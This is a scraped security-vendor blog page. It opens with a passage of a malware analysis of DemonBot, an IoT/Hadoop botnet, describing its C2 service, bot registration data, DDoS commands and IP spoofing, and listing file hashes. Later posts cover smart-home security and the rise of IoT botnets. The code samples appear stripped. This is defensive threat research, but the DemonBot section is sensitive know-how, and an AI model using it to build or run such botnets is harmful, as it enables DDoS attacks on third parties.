The number of unique IPs from where the requests originated grew from a few servers to over 70 servers this week.

Older exploits from servers that are offline by now were referencing a well-known Mirai variant Owari, infamous because of the weak password used by the hackers for securing their command and control database:

Recently, however, we found Owari to be replaced by a new bot:

This new ‘bash’ binary was added to the server on Sunday Oct 21^st. The same server also hosts the typical shell script we came to expect from multiplatform IoT malwares:

While the botnet comes with all the typical indicators of Yet-Another-Mirai-Botnet, a closer look at the binaries revealed to be different enough to continue the investigation.

DemonBot v1 – © Self-Rep-NeTiS

The reversing of the unstripped ‘bash’ binary revealed some unfamiliar function names and an atypical string which provided a unique fingerprint for the botnet code:

Searching through pastebin archives soon revealed a unique match on a document that was pasted on Sept 29^th by an actor going by the alias of Self-Rep-NeTiS. The paste contained the full source code for a botnet which the actor dubbed ‘DemonBot’. Further searches through the archives revealed the source code for the Command and Control server DemonCNC and the Python Build script for the multi-platform bots.

Both DemonBot.c and DemonCNC.c had an identical signature:

DemonCNC

The DemonBot Command and Control service is a self-contained C program that is supposed to run on a central command and control server and it provides two services:

A bot command and control listener service – allowing bots to register and listen for new commands form the C2
A remote access CLI allowing botnet admins and potential ‘customers’ to control the activity of the botnet

Starting the C2 service requires 3 arguments: a bot listener port, the number of threads and a port for the remote access CLI.

Credentials for remote users are stored in a plain text file ‘login.txt’ in the format “username password” using one line per credential pair.

Upon connecting to the remote access CLI (port 8025 in our demo setup) using telnet, the botnet greets us and asks for a username followed by a password prompt. If the provided credentials match one of the lines in the login.txt file, the user is given access to the bot control interface.

The HELP command reveals the botnet commands which will be discussed below in the section about DemonBot itself.

DemonBot

DemonBot is the program that is supposed to be running on infected servers and will connect into the command and control server and listens for new commands.

When a new DemonBot is started, it connects to the C2 server which is hardcoded with IP and port. If no port was specified for the C2 server the default port 6982 is used. The C2 connection is plain text TCP.

Once successfully connected, DemonBot sends information about the infected device to the C2 server in the format:

Bot_ip

The public IP address of the device or server infected with DemonBot:

Port

Either 22 or 23 depending on the availability of python or perl and telnetd on the device/server:

Build

“Python Device”, “Perl Device”, “Telnet Device” or “Unknown” depending on the availability of a Python or Perl interpreter on the device server:

Arch

The architecture, determined at build time and depending on the executing binary on the compromised platform – supported values for Arch are: x86_64 | x86_32 | Arm4 | Arm5 | Arm6 | Arm7 | Mips | Mipsel | Sh4 (SuperH) | Ppc (PowerPC) | spc (Sparc) | M68k | Arc

OS

Limited identification of the host OS running the bot based on package installer configuration files. Value is either “Debian Based Device”, “REHL Based Device” or “Unknown OS”

Malicious payloads

The bot supports the following commands:

If multiple IPs are passed in the argument in a comma-separated list, an individual attack process is forked for each IP.

The <spoofit> argument works as a netmask. If spoofit is set to 32, there is no spoofing of the bot’s source IP. If spoofit is set to a number less than 32, a random IP is generated within the bot_ip/<spoofit> network every <pollinterval> packets:

Fixed payload used by the STD UDP attack:

IOC

8805830c7d28707123f96cf458c1aa41 wget
1bd637c0444328563c995d6497e2d5be tftp
a89f377fcb66b88166987ae1ab82ca61 sshd
8b0b5a6ee30def363712e32b0878a7cb sh
86741291adc03a7d6ff3413617db73f5 pftp
3e6d58bd8f10a6320185743d6d010c4f openssh
fc4a4608009cc24a757824ff56fd8b91 ntpd
d80d081c40be94937a164c791b660b1f ftp
b878de32a9142c19f1fface9a8d588fb cron
46a255e78d6bd3e97456b98aa4ea0228 bash
53f6451a939f9f744ab689168cc1e21a apache2
41edaeb0b52c5c7c835c4196d5fd7123 [cpu]

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Download Now

Consolidation in Consumer Products: Could it Solve the IoT Security Issues?

October 9, 2018 — by David Hobbs — 1

In 2003, I went to Zermatt, Switzerland to go snowboarding under the Matterhorn. We had an eclectic group of people from all over the world. Some of us were enthusiasts, some ski patrol or medics, and a few were backcountry avalanche trained. Because of this, we had a lot of different gear with us, including ice saws, shovels, probes, avalanche beacons, radios, etc. In addition to the gear we carried, we also brought cameras, cell phones, MP3 players and of course, large battery charger bays with international inverters/adapters to keep everything going. I had a backpack with all the avalanche and snow testing gear. In my jacket, I carried an avalanche beacon, digital camera, flip cell phone, family radio with a long external mic, GPS, and an MP3 player with headphones. I felt like I was Batman with all the gear crammed all over the place. I told one of my friends on the trip that one day all of this technology would be consolidated into one device – radio, phone, camera, MP3 player, and avalanche beacon. My friends thought I was crazy and that it would never happen. Fast forward to the smartphone where we now have it all, with the exception of Avalanche beacon, in one device.

To think that many of us had these “point solutions” in our personal tech and now it’s all consolidated into one makes me wonder when will we consolidate at home?

The future of the smart home

I have a Zigbee bridge for my lights, a Zigbee bridge for my blinds, 5 smart speakers, solar panels on the blinds (to charge them and get heat/sunlight measures), smart smoke detectors, smart locks, IP cameras, smart watering system for the plants, smart lights, smart alarm, UTM firewall, WiFi mesh, etc. These are all point solutions. Some of them are really neat and probably should stay point solution based, but what if the technology companies today were to start thinking about consolidating and adding security into the mix?

[You might also like: Cities Paying Ransom: What Does It Mean for Taxpayers?]

I’ve started to look at upgrading my home WiFi network as my smart TV and smart streaming box are now struggling to play streaming movies. After looking at some of the new consumer level WiFi mesh solutions, they show a lot of promise. One of the vendors I’m considering offers not only an easy to set up mesh WiFi, but they also provide automatic channel changing for WiFi radio frequencies to find the fastest radio, as well as automatically move devices around to access points. One of them offers VPN services as well as anti-virus and content filtering, (keeping you safe from malicious websites) and giving out tokens for guests and keeping them on their own network. This all looks great, but I started to think back to Zermatt, Switzerland.

What if the smart home speaker manufacturers wanted to really capture the market? What if you could get a smart speaker that had both a WiFi Mesh Access Point, Zigbee/Zwave access point (for lights, controllers, etc), and cloud-based security features in it? If I could drop a new smart speaker in any room and set it up in 3-5 minutes and have it join my wireless mesh network, it could cover a lot of territories quickly. Now, if one of them were the base unit that plugged into the internet router, it could be the main interface for security. Take all the device groups and help suggest security policies to keep them from talking to things they shouldn’t (like the cameras should never talk to the smart watering controller). What if it could look for IoT threats that spread internally as well as connections to malware Command and Control servers?

Security should be a priority

In terms of the security that could easily be offered and bundled across this platform could be things like VPN (both to and from the home network). This could allow you to browse safely while using public WiFi. You could also access any home devices that may not be very secure from the manufacturers like IP cameras and DVR’s without having to expose them to the world. Cloud-based security offerings could do things like look for malware infections and requests to malware botnet controllers. Then, layers like intrusion prevention and active WiFi defense layers could help detect if hackers were aiming at getting onto the network and doing harm. And finally, putting all of these offerings into a single pane of glass for visibility would definitely be attractive to end customers.

Granted, I know this could put the point solution providers in a position where their WiFi solutions and home routers become less valuable to the mainstream. But what if we got better antivirus and IOT protection? I can only dream of the day that we as consumers are able to consolidate all of our home networks to a real smart home-based solution. I know in the enterprise IT market; we have gained the popularity of Unified Threat Management platforms. Firewalls that do Intrusion Prevention, Wireless Intrusion Prevention, Inline Antivirus, Content Filtering, Guest and networks. I think the next logical step is to see all of these features consolidated into the next generation smart home speakers. How long will it take to see this reality? I don’t know. Will people think this idea is crazy? Probably.

Update: At the time of writing this, there has been an announcement from one of the smart home speaker manufacturers for a new smart home speaker. This new line will actually include a smart home hub in the speaker. Nothing has been said as to whether it provides any security features.

Read “Radware’s 2018 Web Application Security Report” to learn more.

Download Now

IoT Botnets on the Rise

October 2, 2018 — by Daniel Smith — 3

Over the last two years, the criminal community has shifted its focus away from exploit kits as a mean of payload delivery and began focusing on exploiting IoT devices for the purpose of botnet development.

Botnets are all the rage and have become more advanced than the days of Sub7 and Pretty Pack. They possess the capability to target multiple devices on different architectures and infect them with a diverse range of payloads. But why are exploit kits falling out of favor and where is the evolution of botnets going?

Exploit kits in general are prepackaged toolkits that focus on compromising a device with a specific set of exploits. Typically, a victim is directed in a number of different ways to an attack page where the exploit kit will target an application in a browser such as Adobe Flash, Java or Silverlight. Once the victim is compromised by the exploit kit, it will drop and run a malicious payload on the targeted machine. What that payload is depends on the criminal or the person leasing the exploit kit for the day, but today they are mainly used to distribute ransomware or crypto mining payloads.

Exploit kits, a once popular avenue for an attack are now barely used due to the popularity of other attack vectors. Another major reason for the decrease in exploit kits activity is a result of authors abandoning their projects. But why did they abandon their project? Many experts would agree that this was the result of updated browser security and limited availability of undisclosed exploits needed to update their kits.

Unlike IoT devices, Adobe and Java exploits tend to be patched as soon as they become aware of the problem. This is a major challenge for criminals and one that involves a lot of effort and research on the criminals’ behalf. So the attacker is left with a choice. Invest time and research into an undiscovered exploit, or target devices that are rarely maintained patched or updated.

Enter: The IoT Botnet

Today modern botnets are mainly comprised of infected IoT devices such as cameras, routers, DVRs, wearables and other embedded technologies. The evolution in the botnet landscape highlights the security risks from millions of Internet-connected devices configured with default credentials or manufactures who won’t issue updates. Hackers can build enormous botnets consisting of a wide variety of devices and architectures because of this.

In comparison to web browser exploits, IoT devices come with poor security features such as open ports and default credentials. They are also poorly maintained and hardly receive updates. The process of capturing devices for a botnet is a fairly simple task that’s mainly automated. Hackers typically compromise these devices via brute force login. They have also recently evolved to inject exploit via open ports to compromise devices. They leverage these exploits typically after a researcher discloses a vulnerability.

Overall it is an automated process in which a bot is scanning the internet to identify potential targets and sending that information back to a reporting process. If a match is found, the device is exploited with an injection exploit and a malicious payload is downloaded to the device. The payloads downloaded today can vary, but it mainly gives the bot-herder the ability to remotely control the infected device just like a traditional PC botnet.

IoT botnets continue to evolve and they are becoming more versatile. It wasn’t long ago when Mirai reached the 1tbps mark but the process of how it was done has improved, leading many of us in the industry to worry about the next super attack.

[You might also like: The Evolution of IoT Attacks]

Mirai was simply a botnet comprised of infected IoT devices who left telnet open and utilized 61 default credentials found on popular devices. Because the port was left open to the world and users didn’t change their password, the attacker was able to capture a large number of exposed devices.

Before Mirai’s success, there was Gafgyt and Aidra. Both of these are IoT botnets as well. They spread by infecting vulnerable routers with default credentials. These botnets were successful. In fact, Gafgyt still continues to move in lockstep with Mirai. However, after the publication of the Mirai source code, the field became over saturated and bot-herders started incorporating patches to prevent other malware and herders from infecting their captured device. This change forced herders to look for a new way of capturing devices.

Shortly after, new Mirai variants started appearing. This time, instead of using default credentials they started incorporating exploits to target vulnerable devices. Attacker Best Buy used a modified variant that leveraged the TR-069 RCE exploit in an attempted to infect hundreds of thousands of Deutsche Telekom routers. Following Best Buy, IoT reaper appeared with borrowed code from Mirai, but this time included the addition of a LUA execution environment so more complex exploits could be leveraged to enslave devices. As a result, IoT reaper came loaded with nine exploits.

Hajime was not as elaborate as IoT reapers but it did combine the default credentials found in the original Mirai sample and the TR-069 Exploit leveraged by Best Buy. The Omni Botnet, another variant of Mirai was found to contain two new exploits targeting Dasan GPON routers. And just recently a Mirai sample was discovered and found to contain 16 exploits, including the Apache Strut vulnerability used against Equifax while the newest variant of Gafgyt was found to contain an exploit targeting SonicWalls Global Management System.

[You might also like: Defending Against the Mirai Botnet]

These two recent discoveries highlight a major change in their targeting strategy. This indicated a shift from targeting consumer devices to unprotected and rarely updated enterprise devices putting more pressure on the industry to ensure devices are updated in a timely manner.

Today we see Botnet development filling the void of Exploit kits as they incorporate more attack vectors and exploits into their deployments. Keep in mind that it’s not just about the multiple exploits. It also has to do with the speed in which exploitation occurs in the wild.

One of the main reasons we are seeing exploit kits fall out of favor is due to the improved browser security and speed in which the industry patches vulnerabilities targeting Flash, Java and Silverlight. This is not seen in the IoT botnet world where vulnerabilities are rarely patched.

At the end of the day, cybercriminals are following the money by taking the path of least resistance. Exploit kits over the last several years have been deemed high maintenance and hard to maintain due to improved security practices and a diminishing availability of private exploits.

We are also seeing cybercriminals looking to maximize their new efforts and infection rate by targeting insecure or unmaintained IoT devices with a wide variety of payloads ranging from crypto mining and ransomware to denial of service and fraud.

In the recent months, we have also seen a handful of botnets targeting enterprise devices which indicated an intention to move from targeting consumer devices to target enterprise devices that are poorly maintained and rarely updated.

Read: “When the Bots Come Marching In, a Closer Look at Evolving Threats from Botnets, Web Scraping & IoT Zombies”

Download Now

Don’t Let Your Data Seep Through The Cracks: Cybersecurity For the Smart Home

September 20, 2018 — by Anna Convery-Pelletier — 4

Technology and wireless connectivity have forever changed households. While we don’t have the personal hovercrafts or jetpacks that we were promised as children, infinite connectivity has brought a whirlwind of “futuristic” benefits and luxuries few could have imagined even a decade ago. But more importantly, it has re-defined how the modern domicile needs to be managed.

Just as with an enterprise network, cybersecurity concerns also impact the home network. The onus is on us, the consumer, to take responsibility for home network security because device manufacturers have not and the risks associated with any data breach is hugely detrimental in the digital age we live in.

A home network is no longer just laptops, tablets, smartphones and printers. The explosion of the Internet of Things (IoT) has resulted in network connectivity to nearly everything. Everyday household items – appliances, cameras, routers, baby monitors, toys, televisions, thermostats, heating systems, etc. are now connected to each other and the internet. But with all this network connectivity comes risk. Why is that and more importantly, what should you do about it?

While many consumers naively assume that developers behind new network-connected equipment must be thinking long and hard about security, in truth they aren’t. To be first to market, design zero-setup equipment, and to deliver a more fulfilling consumer experience, security on many IoT devices is woefully inadequate and often times an afterthought. In addition, many of these network-connected devices leverage bare bone operating systems that have neither the capacity nor processing power for sophisticated anti-virus/malware tools.

It’s common knowledge that home security such as burglar alarms and even door locks are connected to the internet. What many consumers don’t realize is that this creates a huge exposure because the Wi-Fi serves as a new vulnerability to the house’s physical security system. While useful for providing remote access to your next-door neighbors when the dog needs to be let outside, tech-savvy thieves need only to hack the Wi-Fi to gain access to security controls, monitor resident’s daily habits and gain physical access to the house.

IoT devices connected to e-commerce sites is yet another. For example, a smart fridge integrated into somebody’s Amazon Fresh or FreshDirect account (and access to banking/credit card information) allows someone to purchase groceries or other kitchen necessities right from the refrigerator door. This seamless connectivity can be a dream come true for today’s digital consumer, but can also provide a virtual playground from which hackers can gain access to digital bounties via a single vulnerability.

Smart Homes Require Smart Planning and Smart Security

Smart homes are here and are only going to get smarter. In effect, they are no different from a small corporate network, and as such, they need similar levels of planning and security, especially when considering the growing trend of working from home. However, many consumers simply don’t have the desire to run them securely. Most importantly, consumers are not reviewing and taking the necessary security precautions like they do other aspects of their life.

[You might also like: Cybersecurity & The Customer Experience: The Perfect Combination]

Just like security must become the very fabric of a business, cybersecurity planning – the act of reviewing network-connected devices, where sensitive data is stored and potential security vulnerabilities – must become a critical component of the smart home.

On a yearly basis, my family sits down and does financial planning to review everything from vacations to unexpected expenses. We’ve now included conversations about security planning and ask ourselves some questions such as:

Have I taken an inventory of and actually know all of the various network-connected devices that are in my home? Have security updates been applied to home computers and network-connected devices? Do any outdated devices, such as routers, need to be changed out by the vendor? Are my passwords secure and have I backed up any critical/sensitive information?

These types of questions are what modern-day consumers must be asking, in addition to executing the multitude of security best practices regarding password management, device protection, and backing up sensitive information. Even traditional consumer-focused antivirus software providers now offer multi-layered security devices meant specifically to safeguard home networks, routers and IoT devices.

[You might also like: Personal Security Hygiene]

To truly enjoy the promise of the smart home, it needs to be protected from cyber intruders just as vicariously as it’s protected against physical intruders. Similar to the lessons that leading organizations and name brands have learned in recent years, the best combination is taking proactive measures and leveraging consumer security tools that are easy to implement, easy to operate and does not require a great deal of expertise. It’s time for consumers to become proactive and smarter about home cybersecurity.

Read “Consumer Sentiments: Cybersecurity, Personal Data and The Impact on Customer Loyalty” to learn more.

Download Now

Older Posts

main

Security Standards Are Shifting

The Role of AI in Managing Privacy

The Way Forward

Read “Consumer Sentiments: Cybersecurity, Personal Data and The Impact on Customer Loyalty” to learn more.

Share this:

Healthcare Under Attack

Profiting From Medical Data

Read “Radware’s 2018 Web Application Security Report” to learn more.

Share this:

The public cloud will experience a massive security attack

Ransom techniques will surge

Nation state attacks will increase

More destructive DDoS attacks are on the way

Cyber serenity may be a thing of the past

Read the “2018 C-Suite Perspectives: Trends in the Cyberattack Landscape, Security Threats and Business Impacts” to learn more.

Share this:

Read “Radware’s 2018 Web Application Security Report” to learn more.

Share this:

The Attackers and their Victims

Hadoop YARN Attack Surface

Types of Abuse

The Bitbucket Crypto Miner

YSDKOP, DemonBot in Hiding

Supra, DemonBot-ng

Hoho, a Botnet by Greek.Helios

prax0zma.ru

A Malware Zoo

Compromised Servers

When…Not If

(*1) Hadoop YARN Exploits

(*2) zz.sh script

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Share this:

The True Cost of Data Insecurity

Potential Growth Areas

Read the “2018 C-Suite Perspectives: Trends in the Cyberattack Landscape, Security Threats and Business Impacts” to learn more.

Share this:

Hadoop YARN Exploits

DemonBot v1 – © Self-Rep-NeTiS

DemonCNC

DemonBot

Bot_ip

Port

Build

Arch

OS

Malicious payloads

IOC

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Share this:

The future of the smart home

Security should be a priority

Read “Radware’s 2018 Web Application Security Report” to learn more.

Share this:

Enter: The IoT Botnet

Read: “When the Bots Come Marching In, a Closer Look at Evolving Threats from Botnets, Web Scraping & IoT Zombies”

Share this:

Smart Homes Require Smart Planning and Smart Security

Read “Consumer Sentiments: Cybersecurity, Personal Data and The Impact on Customer Loyalty” to learn more.

Share this: